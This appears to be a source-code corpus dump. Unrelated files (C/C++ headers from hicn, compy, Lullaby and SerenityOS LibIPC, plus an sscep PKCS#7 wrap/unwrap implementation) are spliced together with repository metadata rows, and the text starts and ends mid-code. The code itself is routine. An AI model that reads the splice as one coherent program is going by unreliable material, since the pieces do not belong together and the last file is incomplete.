* <code>matchingRulesTable_AddToAllTables()</code> to index a Content Object in
* all the tables. one then calls <code>matchingRulesTable_Get()</code> with an
* Interest to do the "best" matching (i.e by hash first, then keyid, then just
* by name).
*
*/
#ifndef matchingRulesTable_h
#define matchingRulesTable_h
#include <parc/algol/parc_ArrayList.h>
#include <parc/algol/parc_HashCodeTable.h>
#include <hicn/core/message.h>
struct matching_rules_table;
typedef struct matching_rules_table MatchingRulesTable;
/**
* Creates a MatchigRulesTable and specifies the function to call to de-allocate
* an entry
*
* The datadestroyer will be called when an entry is removed from a table. It
* may be NULL.
*/
MatchingRulesTable *matchingRulesTable_Create(
PARCHashCodeTable_Destroyer dataDestroyer);
/**
* Destroys the table and removes all stored elements.
*
*/
void matchingRulesTable_Destroy(MatchingRulesTable **tablePtr);
/**
* @function matchingRulesTable_Get
* @abstract Returns the data item that best matches the message.
* @discussion
* Indexed by NameAndContentObjectHash, NameAndKeyId, and Name, in that order.
*
* @return NULL if nothing matches, otherwise the stored value
*/
void *matchingRulesTable_Get(const MatchingRulesTable *table,
const Message *message);
/**
* @function matchingRulesTable_GetUnion
* @abstract Returns matching data items from all index tables.
* @discussion
* The PARCArrayList does not have an item destructor, so destroying it will
* not affect the underlying data.
*
* @return Will not be NULL, but may be empty
*/
PARCArrayList *matchingRulesTable_GetUnion(const MatchingRulesTable *table,
const Message *message);
/**
* @function matchingRulesTable_Add
* @abstract Adds the data to the best table
* @discussion
* The key must be derived from the data and destroyed when the data is
* destroyed. Only the data destroyer is called.
*
* No duplicates are allowed, will return false if not added.
*
* @return true if unique key and added, false if duplicate and no action taken.
*/
bool matchingRulesTable_AddToBestTable(MatchingRulesTable *rulesTable,
Message *key, void *data);
/**
* @function matchingRulesTable_Remove
* @abstract Removes the matching entry from the best match table, calling the
* destroyer on the data.
*/
void matchingRulesTable_RemoveFromBest(MatchingRulesTable *rulesTable,
const Message *message);
/**
* @function matchingRulesTable_RemoveFromAll
* @abstract Removes the message from all tables
*/
void matchingRulesTable_RemoveFromAll(MatchingRulesTable *rulesTable,
const Message *message);
#endif // matchingRulesTable_h
| 34.587719 | 80 | 0.718996 | [
"object"
] |
64a810f4e27ff08aaa24ea8195f9a30eb970230c | 1,804 | h | C | compy/representations/extractors/clang_ast/clang_seq_frontendaction.h | AndersonFaustino/compy-learn | 24a394bd1ddc109a37b348c3de440389fa9a1f23 | [
"Apache-2.0"
] | 12 | 2020-09-17T07:57:13.000Z | 2022-03-16T03:42:58.000Z | compy/representations/extractors/clang_ast/clang_seq_frontendaction.h | bennofs/compy-learn | b8674e2c59a2abca98d9e2a3d49e073ca3ae91af | [
"Apache-2.0"
] | 11 | 2020-10-26T09:39:11.000Z | 2021-12-04T18:31:25.000Z | compy/representations/extractors/clang_ast/clang_seq_frontendaction.h | bennofs/compy-learn | b8674e2c59a2abca98d9e2a3d49e073ca3ae91af | [
"Apache-2.0"
] | 10 | 2020-12-30T18:06:04.000Z | 2022-02-25T00:11:57.000Z | #pragma once
#include <memory>
#include <string>
#include <vector>
#include "clang/AST/AST.h"
#include "clang/AST/ExternalASTSource.h"
#include "clang/AST/RecursiveASTVisitor.h"
#include "clang/Frontend/FrontendActions.h"
#include "llvm/ADT/StringRef.h"
#include "clang_extractor.h"
namespace compy {
namespace clang {
namespace seq {
class ExtractorASTVisitor
: public ::clang::RecursiveASTVisitor<ExtractorASTVisitor> {
public:
enum STATE {
Map = 0,
Capture = 1,
};
public:
ExtractorASTVisitor(::clang::ASTContext &context,
ExtractionInfoPtr extractionInfo)
: state_(STATE::Map), context_(context), extractionInfo_(extractionInfo) {
init();
}
void init();
void setState(STATE state);
bool VisitFunctionDecl(::clang::FunctionDecl *f);
bool VisitVarDecl(::clang::VarDecl *decl);
private:
FunctionInfoPtr getInfo(const ::clang::FunctionDecl &func);
std::string mapName(const ::clang::NamedDecl &decl);
private:
STATE state_;
::clang::ASTContext &context_;
ExtractionInfoPtr extractionInfo_;
std::unordered_map<std::string, std::string> mappedNames_;
unsigned int num_functions_;
unsigned int num_variables_;
};
class ExtractorASTConsumer : public ::clang::ASTConsumer {
public:
ExtractorASTConsumer(::clang::ASTContext &context,
ExtractionInfoPtr extractionInfo);
bool HandleTopLevelDecl(::clang::DeclGroupRef DR) override;
private:
ExtractorASTVisitor visitor_;
};
class ExtractorFrontendAction : public ::clang::ASTFrontendAction {
public:
std::unique_ptr<::clang::ASTConsumer> CreateASTConsumer(
::clang::CompilerInstance &CI, ::llvm::StringRef file) override;
ExtractionInfoPtr extractionInfo;
};
} // namespace seq
} // namespace clang
} // namespace compy
| 23.428571 | 80 | 0.720067 | [
"vector"
] |
64abb55f0ccacbd5088e27eac5b95c80f75446de | 2,968 | h | C | lullaby/util/type_name_generator.h | dherbst/lullaby | 0b6675c9fc534c606236f40486987540ad098007 | [
"Apache-2.0"
] | 1,198 | 2017-06-09T08:10:52.000Z | 2022-03-21T13:39:50.000Z | lullaby/util/type_name_generator.h | dherbst/lullaby | 0b6675c9fc534c606236f40486987540ad098007 | [
"Apache-2.0"
] | 14 | 2017-06-10T00:47:46.000Z | 2020-12-31T05:19:55.000Z | lullaby/util/type_name_generator.h | dherbst/lullaby | 0b6675c9fc534c606236f40486987540ad098007 | [
"Apache-2.0"
] | 183 | 2017-06-09T22:19:20.000Z | 2022-02-23T03:31:35.000Z | /*
Copyright 2017-2019 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS-IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#ifndef LULLABY_UTIL_TYPE_NAME_GENERATOR_H_
#define LULLABY_UTIL_TYPE_NAME_GENERATOR_H_
#include "lullaby/util/common_types.h"
#include "lullaby/util/type_util.h"
#include "lullaby/util/typeid.h"
namespace lull {
/// Generates a std::string for a given type |T|. This is currently limted to:
///
/// - All types registered with Lullaby's TypeId system.
/// - Optional<T> objects, where T is one of the supported types.
/// - std::vector<T> objects, where T is one of the supported types.
/// - std::map<K, V> objects, where K and V are one of the supported types.
/// - std::unordered_map<K, V> objects, where K and V are one of the supported
/// types.
class TypeNameGenerator {
public:
/// Returns the name of the specified type |T|.
template <typename T>
static std::string Generate() {
return GenerateImpl<T>();
}
private:
template <typename T>
using IsOptional = detail::IsOptional<T>;
template <typename T>
using IsVector = detail::IsVector<T>;
template <typename T>
using IsMap = detail::IsMap<T>;
template <typename T>
struct HasTypeName {
static const bool kValue =
!IsOptional<T>::kValue && !IsVector<T>::kValue && !IsMap<T>::kValue;
};
template <typename T>
static auto GenerateImpl() ->
typename std::enable_if<HasTypeName<T>::kValue, std::string>::type {
return ::lull::GetTypeName<T>();
}
template <typename T>
static auto GenerateImpl() ->
typename std::enable_if<IsOptional<T>::kValue, std::string>::type {
const std::string value = Generate<typename T::ValueType>();
return std::string("lull::Optional<") + value + std::string(">");
}
template <typename T>
static auto GenerateImpl() ->
typename std::enable_if<IsVector<T>::kValue, std::string>::type {
const std::string value = Generate<typename T::value_type>();
return std::string("std::vector<") + value + std::string(">");
}
template <typename T>
static auto GenerateImpl() ->
typename std::enable_if<IsMap<T>::kValue, std::string>::type {
const std::string map =
IsMap<T>::kUnordered ? "std::unordered_map" : "std::map";
const std::string key = Generate<typename T::key_type>();
const std::string value = Generate<typename T::mapped_type>();
return map + "<" + key + ", " + value + ">";
}
};
} // namespace lull
#endif // LULLABY_UTIL_TYPE_NAME_GENERATOR_H_
| 32.977778 | 79 | 0.692049 | [
"vector"
] |
64b29b1569eecc1663e6c9aa93e4a1a9ad493e91 | 4,778 | h | C | Userland/Libraries/LibIPC/Connection.h | diego-gt/serenity | 52a1be5eae81bd2eea767cfce569e089ec1bb3df | [
"BSD-2-Clause"
] | 1 | 2021-10-03T20:40:45.000Z | 2021-10-03T20:40:45.000Z | Userland/Libraries/LibIPC/Connection.h | diego-gt/serenity | 52a1be5eae81bd2eea767cfce569e089ec1bb3df | [
"BSD-2-Clause"
] | null | null | null | Userland/Libraries/LibIPC/Connection.h | diego-gt/serenity | 52a1be5eae81bd2eea767cfce569e089ec1bb3df | [
"BSD-2-Clause"
] | null | null | null | /*
* Copyright (c) 2018-2020, Andreas Kling <kling@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#pragma once
#include <AK/ByteBuffer.h>
#include <AK/NonnullOwnPtrVector.h>
#include <AK/Result.h>
#include <AK/Try.h>
#include <LibCore/Event.h>
#include <LibCore/EventLoop.h>
#include <LibCore/LocalSocket.h>
#include <LibCore/Notifier.h>
#include <LibCore/Timer.h>
#include <LibIPC/Forward.h>
#include <LibIPC/Message.h>
#include <errno.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
namespace IPC {
class ConnectionBase : public Core::Object {
C_OBJECT_ABSTRACT(ConnectionBase);
public:
virtual ~ConnectionBase() override;
bool is_open() const { return m_socket->is_open(); }
void post_message(Message const&);
void shutdown();
virtual void die() { }
protected:
explicit ConnectionBase(IPC::Stub&, NonnullRefPtr<Core::LocalSocket>, u32 local_endpoint_magic);
Core::LocalSocket& socket() { return *m_socket; }
virtual void may_have_become_unresponsive() { }
virtual void did_become_responsive() { }
virtual void try_parse_messages(Vector<u8> const& bytes, size_t& index) = 0;
OwnPtr<IPC::Message> wait_for_specific_endpoint_message_impl(u32 endpoint_magic, int message_id);
void wait_for_socket_to_become_readable();
Result<Vector<u8>, bool> read_as_much_as_possible_from_socket_without_blocking();
bool drain_messages_from_peer();
void post_message(MessageBuffer);
void handle_messages();
IPC::Stub& m_local_stub;
NonnullRefPtr<Core::LocalSocket> m_socket;
RefPtr<Core::Timer> m_responsiveness_timer;
RefPtr<Core::Timer> m_processing_timer;
RefPtr<Core::Notifier> m_notifier;
NonnullOwnPtrVector<Message> m_unprocessed_messages;
ByteBuffer m_unprocessed_bytes;
u32 m_local_endpoint_magic { 0 };
};
template<typename LocalEndpoint, typename PeerEndpoint>
class Connection : public ConnectionBase {
public:
Connection(IPC::Stub& local_stub, NonnullRefPtr<Core::LocalSocket> socket)
: ConnectionBase(local_stub, move(socket), LocalEndpoint::static_magic())
{
m_notifier->on_ready_to_read = [this] {
NonnullRefPtr protect = *this;
drain_messages_from_peer();
handle_messages();
};
}
template<typename MessageType>
OwnPtr<MessageType> wait_for_specific_message()
{
return wait_for_specific_endpoint_message<MessageType, LocalEndpoint>();
}
template<typename RequestType, typename... Args>
NonnullOwnPtr<typename RequestType::ResponseType> send_sync(Args&&... args)
{
post_message(RequestType(forward<Args>(args)...));
auto response = wait_for_specific_endpoint_message<typename RequestType::ResponseType, PeerEndpoint>();
VERIFY(response);
return response.release_nonnull();
}
template<typename RequestType, typename... Args>
OwnPtr<typename RequestType::ResponseType> send_sync_but_allow_failure(Args&&... args)
{
post_message(RequestType(forward<Args>(args)...));
return wait_for_specific_endpoint_message<typename RequestType::ResponseType, PeerEndpoint>();
}
protected:
template<typename MessageType, typename Endpoint>
OwnPtr<MessageType> wait_for_specific_endpoint_message()
{
if (auto message = wait_for_specific_endpoint_message_impl(Endpoint::static_magic(), MessageType::static_message_id()))
return message.template release_nonnull<MessageType>();
return {};
}
virtual void try_parse_messages(Vector<u8> const& bytes, size_t& index) override
{
u32 message_size = 0;
for (; index + sizeof(message_size) < bytes.size(); index += message_size) {
memcpy(&message_size, bytes.data() + index, sizeof(message_size));
if (message_size == 0 || bytes.size() - index - sizeof(uint32_t) < message_size)
break;
index += sizeof(message_size);
auto remaining_bytes = ReadonlyBytes { bytes.data() + index, message_size };
if (auto message = LocalEndpoint::decode_message(remaining_bytes, m_socket->fd())) {
m_unprocessed_messages.append(message.release_nonnull());
} else if (auto message = PeerEndpoint::decode_message(remaining_bytes, m_socket->fd())) {
m_unprocessed_messages.append(message.release_nonnull());
} else {
dbgln("Failed to parse a message");
break;
}
}
}
};
}
template<typename LocalEndpoint, typename PeerEndpoint>
struct AK::Formatter<IPC::Connection<LocalEndpoint, PeerEndpoint>> : Formatter<Core::Object> {
};
| 33.647887 | 127 | 0.694224 | [
"object",
"vector"
] |
64b53eaa93087e743e8c8eb64cf0628fe3d246e4 | 20,554 | c | C | qeo-c/qeo-management-client/src/libsscep/pkcs7.c | osrf/qeo-core | 71ffa3558ea65c52fa7e31071c31c45e84d5101e | [
"curl"
] | 8 | 2015-01-28T03:26:43.000Z | 2021-04-19T21:00:34.000Z | qeo-c/qeo-management-client/src/libsscep/pkcs7.c | ros2/tinq-core | e9cca1b1e433495616568ae6ae903322832f7b3b | [
"curl"
] | null | null | null | qeo-c/qeo-management-client/src/libsscep/pkcs7.c | ros2/tinq-core | e9cca1b1e433495616568ae6ae903322832f7b3b | [
"curl"
] | 2 | 2015-08-14T19:54:20.000Z | 2017-04-09T02:54:15.000Z | /*
* Copyright (c) 2014 - Qeo LLC
*
* The source code form of this Qeo Open Source Project component is subject
* to the terms of the Clear BSD license.
*
* You can redistribute it and/or modify it under the terms of the Clear BSD
* License (http://directory.fsf.org/wiki/License:ClearBSD). See LICENSE file
* for more details.
*
* The Qeo Open Source Project also includes third party Open Source Software.
* See LICENSE file for more details.
*
* This file incorporates work covered by the following copyright and
* permission notice:
*
* Copyright (c) Jarkko Turkulainen 2003. All rights reserved.
* See the 'sscep License' chapter in the file COPYRIGHT for copyright notice
* and original licensing information.
*/
/* PKCS#7 routines */
#include "sscep.h"
#include "ias.h"
/*
* Wrap data in PKCS#7 envelopes and base64-encode the result.
* Data is PKCS#10 request in PKCSReq, or pkcs7_issuer_and_subject
* structure in GetCertInitial and PKCS7_ISSUER_AND_SERIAL in
* GetCert and GETCrl.
*/
int pkcs7_wrap(struct scep *s, struct sscep_ctx *ctx, struct sscep_operation_info *op_info)
{
BIO *databio = NULL;
BIO *encbio = NULL;
BIO *pkcs7bio = NULL;
BIO *memorybio = NULL;
BIO *outbio = NULL;
unsigned char *buffer = NULL;
int len = 0;
STACK_OF(X509) *recipients = NULL;
PKCS7 *p7enc = NULL;
PKCS7_SIGNER_INFO *si;
STACK_OF(X509_ATTRIBUTE) *attributes;
X509 *signercert = NULL;
EVP_PKEY *signerkey = NULL;
int ret = SCEP_PKISTATUS_P7;
char *payload = NULL;
int payload_len;
/* Create a new sender nonce for all messages
* XXXXXXXXXXXXXX should it be per transaction? */
s->sender_nonce_len = 16;
free(s->sender_nonce);/* Clean up from previous runs */
s->sender_nonce = (char *)malloc(s->sender_nonce_len * sizeof(char));
RAND_bytes((unsigned char *) s->sender_nonce, s->sender_nonce_len);
/* Prepare data payload */
switch (s->request_type) {
case SCEP_REQUEST_PKCSREQ:
/*
* Set printable message type
* We set this later as an autheticated attribute
* "messageType".
*/
s->request_type_str = SCEP_REQUEST_PKCSREQ_STR;
/* Signer cert */
signercert = s->signercert;
signerkey = s->signerkey;
/* Create inner PKCS#7 */
if (ctx->verbose){
qeo_log_i("creating inner PKCS#7");
}
/* Read request in memory bio */
databio = BIO_new(BIO_s_mem());
if (i2d_X509_REQ_bio(databio, op_info->request) <= 0) {
qeo_log_e("error writing certificate request in bio");
goto error;
}
(void)BIO_flush(databio);
break;
case SCEP_REQUEST_GETCERTINIT:
/* Set printable message type */
s->request_type_str = SCEP_REQUEST_GETCERTINIT_STR;
/* Signer cert */
signercert = s->signercert;
signerkey = s->signerkey;
/* Create inner PKCS#7 */
if (ctx->verbose){
qeo_log_i("creating inner PKCS#7");
}
/* Read data in memory bio */
databio = BIO_new(BIO_s_mem());
if (i2d_pkcs7_issuer_and_subject_bio(databio, s->ias_getcertinit)) {
qeo_log_e("error writing GetCertInitial data in bio");
goto error;
}
(void)BIO_flush(databio);
break;
}
/* Below this is the common code for all request_type */
/* Read in the payload */
payload_len = BIO_get_mem_data(databio, &payload);
if (ctx->verbose){
qeo_log_i("data payload size: %d bytes", payload_len);
}
/* Create encryption certificate stack */
if ((recipients = sk_X509_new(NULL) ) == NULL) {
qeo_log_e("error creating certificate stack");
goto error;
}
if (sk_X509_push(recipients, op_info->racert) <= 0) {
qeo_log_e("error adding recipient encryption certificate");
goto error;
}
/* Create BIO for encryption */
if ((encbio = BIO_new_mem_buf(payload, payload_len)) == NULL ) {
qeo_log_e("error creating data bio");
goto error;
}
/* Encrypt */
if (!(p7enc = PKCS7_encrypt(recipients, encbio, ctx->enc_alg, PKCS7_BINARY))) {
qeo_log_e("request payload encrypt failed");
goto error;
}
if (ctx->verbose){
qeo_log_i("successfully encrypted payload");
}
/* Write encrypted data */
memorybio = BIO_new(BIO_s_mem());
if (i2d_PKCS7_bio(memorybio, p7enc) <= 0) {
qeo_log_e("error writing encrypted data");
goto error;
}
(void)BIO_flush(memorybio);
BIO_set_flags(memorybio, BIO_FLAGS_MEM_RDONLY);
len = BIO_get_mem_data(memorybio, &buffer);
BIO_free(memorybio);
memorybio=NULL;
if (ctx->verbose){
qeo_log_i("envelope size: %d bytes", len);
}
if (ctx->debug) {
qeo_log_i("printing PEM fomatted PKCS#7");
PEM_write_PKCS7(stdout, p7enc);
}
/* Create outer PKCS#7 */
if (ctx->verbose){
qeo_log_i("creating outer PKCS#7");
}
s->request_p7 = PKCS7_new();
if (s->request_p7 == NULL ) {
qeo_log_e("failed creating PKCS#7 for signing");
goto error;
}
if (!PKCS7_set_type(s->request_p7, NID_pkcs7_signed)) {
qeo_log_e("failed setting PKCS#7 type");
goto error;
}
/* Add signer certificate and signature */
PKCS7_add_certificate(s->request_p7, signercert);
if ((si = PKCS7_add_signature(s->request_p7, signercert, signerkey, ctx->sig_alg)) == NULL ) {
qeo_log_e("error adding PKCS#7 signature");
goto error;
}
if (ctx->verbose){
qeo_log_i("signature added successfully");
}
/* Set signed attributes */
if (ctx->verbose){
qeo_log_i("adding signed attributes");
}
attributes = sk_X509_ATTRIBUTE_new_null();
add_attribute_string(attributes, ctx->nid_transId, s->transaction_id, ctx);
add_attribute_string(attributes, ctx->nid_messageType, s->request_type_str, ctx);
add_attribute_octet(attributes, ctx->nid_senderNonce, s->sender_nonce, s->sender_nonce_len, ctx);
PKCS7_set_signed_attributes(si, attributes);
sk_X509_ATTRIBUTE_pop_free(attributes, X509_ATTRIBUTE_free);
/* Add contentType */
if (!PKCS7_add_signed_attribute(si, NID_pkcs9_contentType, V_ASN1_OBJECT, OBJ_nid2obj(NID_pkcs7_data))) {
qeo_log_e("error adding NID_pkcs9_contentType");
goto error;
}
/* Create new content */
if (!PKCS7_content_new(s->request_p7, NID_pkcs7_data)) {
qeo_log_e("failed setting PKCS#7 content type");
goto error;
}
/* Write data */
pkcs7bio = PKCS7_dataInit(s->request_p7, NULL );
if (pkcs7bio == NULL ) {
qeo_log_e("error opening bio for writing PKCS#7 data");
goto error;
}
if (len != BIO_write(pkcs7bio, buffer, len)) {
qeo_log_e("error writing PKCS#7 data");
goto error;
}
if (ctx->verbose){
qeo_log_i("PKCS#7 data written successfully");
}
/* Finalize PKCS#7 */
if (!PKCS7_dataFinal(s->request_p7, pkcs7bio)) {
qeo_log_e("error finalizing outer PKCS#7");
goto error;
}
if (ctx->debug) {
qeo_log_i("printing PEM fomatted PKCS#7");
PEM_write_PKCS7(stdout, s->request_p7);
}
/* base64-encode the data */
if (ctx->verbose){
qeo_log_i("applying base64 encoding");
}
/* Create base64 filtering bio */
memorybio = BIO_new(BIO_s_mem());
outbio = BIO_push(BIO_new(BIO_f_base64()), memorybio);
/* Copy PKCS#7 */
i2d_PKCS7_bio(outbio, s->request_p7);
(void)BIO_flush(outbio);
payload_len = BIO_get_mem_data(memorybio, &payload);
s->request_payload = (char*) malloc(sizeof(char)*payload_len);
if (!s->request_payload){
goto error;
}
s->request_len = payload_len;
memcpy(s->request_payload, payload, s->request_len);
if (ctx->verbose){
qeo_log_i("base64 encoded payload size: %d bytes", payload_len);
}
ret = 0;
error:
BIO_free(databio);
BIO_free(encbio);
BIO_free_all(pkcs7bio);
BIO_free(memorybio);
BIO_free(outbio);
if (recipients != NULL){
sk_X509_free(recipients);/* Only free the stack, not the certificates */
}
PKCS7_free(p7enc);
OPENSSL_free(buffer);
return ret;
}
/*
* Unwrap PKCS#7 data and decrypt if necessary
*/
int pkcs7_unwrap(struct scep *s, struct sscep_ctx *ctx, struct sscep_operation_info *op_info, char* data, int datalen)
{
BIO *memorybio = NULL;
BIO *outbio = NULL;
BIO *pkcs7bio = NULL;
int i, bytes, used;
STACK_OF(PKCS7_SIGNER_INFO) *sk;
PKCS7 *p7enc = NULL;
PKCS7_SIGNER_INFO *si;
STACK_OF(X509_ATTRIBUTE) *attribs;
char *p = NULL;
unsigned char buffer[1024];
X509 *recipientcert;
EVP_PKEY *recipientkey;
int ret = SCEP_PKISTATUS_P7;
/* Create new memory BIO for outer PKCS#7 */
memorybio = BIO_new(BIO_s_mem());
/* Read in data */
if (ctx->verbose){
qeo_log_i("reading outer PKCS#7");
}
if (BIO_write(memorybio, data, datalen) <= 0) {
qeo_log_e("error reading PKCS#7 data");
goto error;
}
if (ctx->verbose){
qeo_log_i("PKCS#7 payload size: %d bytes", datalen);
}
s->reply_p7 = d2i_PKCS7_bio(memorybio, NULL );
if (s->reply_p7 == NULL ) {
qeo_log_e("error retrieving PKCS#7 data");
goto error;
}
if (ctx->debug) {
qeo_log_i("printing PEM fomatted PKCS#7");
PEM_write_PKCS7(stdout, s->reply_p7);
}
/* Make sure this is a signed PKCS#7 */
if (!PKCS7_type_is_signed(s->reply_p7)) {
qeo_log_e("PKCS#7 is not signed!");
goto error;
}
/* Create BIO for content data */
pkcs7bio = PKCS7_dataInit(s->reply_p7, NULL );
if (pkcs7bio == NULL ) {
qeo_log_e("cannot get PKCS#7 data");
goto error;
}
/* Copy enveloped data from PKCS#7 */
outbio = BIO_new(BIO_s_mem());
used = 0;
for (;;) {
bytes = BIO_read(pkcs7bio, buffer, sizeof(buffer));
used += bytes;
if (bytes <= 0)
break;
BIO_write(outbio, buffer, bytes);
}
(void)BIO_flush(outbio);
if (ctx->verbose){
qeo_log_i("PKCS#7 contains %d bytes of enveloped data", used);
}
/* Get signer */
sk = PKCS7_get_signer_info(s->reply_p7);
if (sk == NULL ) {
qeo_log_e("cannot get signer info!");
goto error;
}
/* Verify signature */
if (ctx->verbose){
qeo_log_i("verifying signature");
}
si = sk_PKCS7_SIGNER_INFO_value(sk, 0);
if (PKCS7_signatureVerify(pkcs7bio, s->reply_p7, si, op_info->racert) <= 0) {
qeo_log_e("error verifying signature");
goto error;
}
if (ctx->verbose){
qeo_log_i("signature ok");
}
/* Get signed attributes */
if (ctx->verbose){
qeo_log_i("finding signed attributes");
}
attribs = PKCS7_get_signed_attributes(si);
if (attribs == NULL ) {
qeo_log_e("no attributes found");
goto error;
}
/* Transaction id */
if ((get_signed_attribute(attribs, ctx->nid_transId, V_ASN1_PRINTABLESTRING, &p, ctx)) == 1) {
qeo_log_e("cannot find transId");
goto error;
}
if (ctx->verbose){
qeo_log_i("reply transaction id: %s", p);
}
if (strncmp(s->transaction_id, p, strlen(p))) {
qeo_log_e("transaction id mismatch");
goto error;
}
free(p);
p=NULL;
/* Message type, should be of type CertRep */
if (get_signed_attribute(attribs, ctx->nid_messageType, V_ASN1_PRINTABLESTRING, &p, ctx) == 1) {
qeo_log_e("cannot find messageType");
goto error;
}
if (atoi(p) != 3) {
qeo_log_e("wrong message type in reply");
goto error;
}
if (ctx->verbose){
qeo_log_i("reply message type is good");
}
free(p);
p=NULL;
/* Recipient nonces: */
if (get_signed_attribute(attribs, ctx->nid_recipientNonce, V_ASN1_OCTET_STRING, &p, ctx) == 1) {
qeo_log_e("cannot find recipientNonce");
goto error;
}
s->reply_recipient_nonce = p;
p = NULL;
if (ctx->verbose) {
qeo_log_i("recipientNonce in reply");
}
/*
* Compare recipient nonce to original sender nonce
* The draft says nothing about this, but it makes sense to me..
* XXXXXXXXXXXXXX check
*/
for (i = 0; i < 16; i++) {
if (s->sender_nonce[i] != s->reply_recipient_nonce[i]) {
if (ctx->verbose)
qeo_log_e("corrupted nonce received");
/* Instead of exit, break out */
break;
}
}
/* Get pkiStatus */
if (get_signed_attribute(attribs, ctx->nid_pkiStatus, V_ASN1_PRINTABLESTRING, &p, ctx) == 1) {
qeo_log_e("cannot find pkiStatus");
/* This is a mandatory attribute.. */
goto error;
}
switch (atoi(p)) {
case SCEP_PKISTATUS_SUCCESS:
qeo_log_i("pkistatus: SUCCESS");
s->pki_status = SCEP_PKISTATUS_SUCCESS;
break;
case SCEP_PKISTATUS_FAILURE:
qeo_log_i("pkistatus: FAILURE");
s->pki_status = SCEP_PKISTATUS_FAILURE;
break;
case SCEP_PKISTATUS_PENDING:
qeo_log_i("pkistatus: PENDING");
s->pki_status = SCEP_PKISTATUS_PENDING;
break;
default:
qeo_log_e("wrong pkistatus in reply");
goto error;
}
free(p);
p=NULL;
/* Get failInfo */
if (s->pki_status == SCEP_PKISTATUS_FAILURE) {
if (get_signed_attribute(attribs, ctx->nid_failInfo, V_ASN1_PRINTABLESTRING, &p, ctx) == 1) {
qeo_log_e("cannot find failInfo");
goto error;
}
switch (atoi(p)) {
case SCEP_FAILINFO_BADALG:
s->fail_info = SCEP_FAILINFO_BADALG;
qeo_log_i("reason: %s", SCEP_FAILINFO_BADALG_STR);
break;
case SCEP_FAILINFO_BADMSGCHK:
s->fail_info = SCEP_FAILINFO_BADMSGCHK;
qeo_log_i("reason: %s", SCEP_FAILINFO_BADMSGCHK_STR);
break;
case SCEP_FAILINFO_BADREQ:
s->fail_info = SCEP_FAILINFO_BADREQ;
qeo_log_i("reason: %s", SCEP_FAILINFO_BADREQ_STR);
break;
case SCEP_FAILINFO_BADTIME:
s->fail_info = SCEP_FAILINFO_BADTIME;
qeo_log_i("reason: %s", SCEP_FAILINFO_BADTIME_STR);
break;
case SCEP_FAILINFO_BADCERTID:
s->fail_info = SCEP_FAILINFO_BADCERTID;
qeo_log_i("reason: %s", SCEP_FAILINFO_BADCERTID_STR);
break;
default:
qeo_log_e("wrong failInfo in " "reply");
goto error;
}
free(p);
p=NULL;
}
/* If FAILURE or PENDING, we can return */
if (s->pki_status != SCEP_PKISTATUS_SUCCESS) {
/* There shouldn't be any more data... */
if (ctx->verbose && (used != 0)) {
qeo_log_e("illegal size of payload");
}
return (0);
}
/* We got success and expect data */
if (used == 0) {
qeo_log_e("illegal size of payload");
goto error;
}
/* Decrypt the inner PKCS#7 */
recipientcert = s->signercert;
recipientkey = s->signerkey;
if (ctx->verbose){
qeo_log_i("reading inner PKCS#7");
}
p7enc = d2i_PKCS7_bio(outbio, NULL );
if (p7enc == NULL ) {
qeo_log_e("cannot read inner PKCS#7");
goto error;
}
BIO_free(outbio);/* No longer need it */
outbio = NULL;
if (ctx->debug) {
qeo_log_i("printing PEM fomatted PKCS#7");
PEM_write_PKCS7(stdout, p7enc);
}
/* Decrypt the data */
outbio = BIO_new(BIO_s_mem());
if (ctx->verbose){
qeo_log_i("decrypting inner PKCS#7");
}
if (PKCS7_decrypt(p7enc, recipientkey, recipientcert, outbio, 0) == 0) {
qeo_log_e("error decrypting inner PKCS#7");
goto error;
}
(void)BIO_flush(outbio);
/* Write decrypted data */
PKCS7_free(s->reply_p7);
s->reply_p7 = d2i_PKCS7_bio(outbio, NULL );
ret = 0;
error:
free(p);
BIO_free(outbio);
BIO_free_all(pkcs7bio);
BIO_free(memorybio);
PKCS7_free(p7enc);
return ret;
}
/* Add signed attributes */
int add_attribute_string(STACK_OF(X509_ATTRIBUTE) *attrs, int nid, char *buffer, struct sscep_ctx *ctx)
{
ASN1_STRING *asn1_string = NULL;
X509_ATTRIBUTE *x509_a;
int ret = SCEP_PKISTATUS_P7;
if (ctx->verbose){
qeo_log_i("adding string attribute %s", OBJ_nid2sn(nid));
}
asn1_string = ASN1_STRING_new();
if (ASN1_STRING_set(asn1_string, buffer, strlen(buffer)) <= 0) {
qeo_log_e("error adding data to ASN.1 string");
goto error;
}
x509_a = X509_ATTRIBUTE_create(nid, V_ASN1_PRINTABLESTRING, asn1_string);
/* Previoux function takes ownership of the string */
asn1_string = NULL;
sk_X509_ATTRIBUTE_push(attrs, x509_a);
ret = 0;
error:
ASN1_STRING_free(asn1_string);
return ret;
}
int add_attribute_octet(STACK_OF(X509_ATTRIBUTE) *attrs, int nid, char *buffer, int len, struct sscep_ctx *ctx)
{
ASN1_STRING *asn1_string = NULL;
X509_ATTRIBUTE *x509_a;
int ret = SCEP_PKISTATUS_P7;
if (ctx->verbose){
qeo_log_i("adding octet attribute %s", OBJ_nid2sn(nid));
}
asn1_string = ASN1_STRING_new();
if (ASN1_STRING_set(asn1_string, buffer, len) <= 0) {
qeo_log_e("error adding data to ASN.1 string");
goto error;
}
x509_a = X509_ATTRIBUTE_create(nid, V_ASN1_OCTET_STRING, asn1_string);
/* Previoux function takes ownership of the string */
asn1_string = NULL;
sk_X509_ATTRIBUTE_push(attrs, x509_a);
ret = 0;
error:
ASN1_STRING_free(asn1_string);
return ret;
}
/* Find signed attributes */
int get_signed_attribute(STACK_OF(X509_ATTRIBUTE) *attribs, int nid, int type, char **buffer, struct sscep_ctx *ctx)
{
int rc;
ASN1_TYPE *asn1_type;
unsigned int len;
/* Find attribute */
rc = get_attribute(attribs, nid, &asn1_type, ctx);
if (rc == 1) {
if (ctx->verbose)
qeo_log_e("error finding attribute");
goto error;
}
if (ASN1_TYPE_get(asn1_type) != type) {
qeo_log_e("wrong ASN.1 type");
goto error;
}
/* Copy data */
len = ASN1_STRING_length(asn1_type->value.asn1_string);
if (len <= 0) {
goto error;
}
else if (ctx->verbose){
